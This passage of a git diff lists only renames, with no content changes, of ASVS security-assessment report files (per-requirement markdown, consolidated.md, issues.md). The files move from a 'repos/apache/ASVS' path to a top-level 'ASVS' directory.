rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.4.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.5.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.6.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.6.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.6.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.6.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.6.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.6.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.6.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch07_general/7.6.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.1.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch08_general/8.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.1.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch09_general/9.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.4.md b/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/concurrency_and_race_conditions/15.4.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/consolidated.md b/ASVS/reports/steve/v3/d0aa7e9/consolidated.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/consolidated.md
rename to ASVS/reports/steve/v3/d0aa7e9/consolidated.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.3.md b/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.4.md b/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.5.md b/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.1.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.5.md b/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/dependency_and_supply_chain/15.2.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.10.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.10.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.10.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.10.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.4.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.5.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.6.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.7.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.8.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.8.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.8.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.8.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.9.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.9.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.9.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.2.9.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.10.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.10.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.10.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.10.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.11.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.11.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.11.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.11.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.12.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.12.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.12.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.12.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.5.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.6.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.7.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.8.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.8.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.8.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.8.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.9.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.9.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.9.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/1.3.9.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.3.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.1.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/input_validation_and_injection/2.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/issues.md b/ASVS/reports/steve/v3/d0aa7e9/issues.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/issues.md
rename to ASVS/reports/steve/v3/d0aa7e9/issues.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/logging_and_monitoring/16.2.3.md
similarity index 100%
